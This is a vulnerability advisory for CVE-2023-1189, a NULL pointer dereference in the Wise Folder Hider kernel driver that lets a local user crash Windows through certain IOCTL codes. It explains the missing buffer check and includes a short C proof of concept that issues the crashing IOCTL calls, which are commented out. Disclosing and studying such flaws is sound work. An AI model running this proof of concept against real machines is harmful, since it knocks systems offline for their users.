CVE-2023-1189

1. Overview

This vulnerability is a Local Denial of Service vulnerability that allows an attacker with user privileges to trigger a kernel NULL Pointer Dereference via a specific IOCTL, causing the system to enter a BSOD state.

2. Root Cause

The CVE-2023-1189 vulnerability occurs in the WiseFs64.sys kernel driver created during the setup of Wise Folder Hider version 4.4.3.202.

The overall vulnerability flow is as follows.

Looking at that flow in detail:

First, the DriverEntry function sets the dispatchDeviceControl function at index 14 of the Dispatch Table.

As a result, all IOCTLs arriving via \\.\WiseFs are forwarded to dispatchDeviceControl.

Once inside the dispatchDeviceControl function, it first checks whether it is the control device. If so, it enters the handleControlDeviceIoctl function.

The handleControlDeviceIoctl function contains the logic that handles the actual IOCTL codes.

Among the various IOCTL codes, the validation that checks whether the Buffer value is NULL is omitted for 0x222400, 0x222404, and 0x222410.

Therefore, if the above IOCTLs are called while Buffer is NULL, the driver accesses the Buffer, causing a NULL Pointer Dereference that leads to a BSOD.

3. PoC & Exploit

#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>

#define SymLinkName L"\\\\.\\WiseFS"

HANDLE hDevice;

int main(int argc, char* argv[]) {
	DWORD dwWrite = 0;

	hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("failed to CreateFile\n");
		return 1;
	}

	// case 0x222400
	// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);

	// case 0x222404
	// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);

	// case 0x222410
	// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
	
    CloseHandle(hDevice);
    return 0;
}

4. References

• https://nvd.nist.gov/vuln/detail/CVE-2023-1189
• https://www.cve.org/CVERecord?id=CVE-2023-1189
• https://cwe.mitre.org/data/definitions/404.html
• https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1189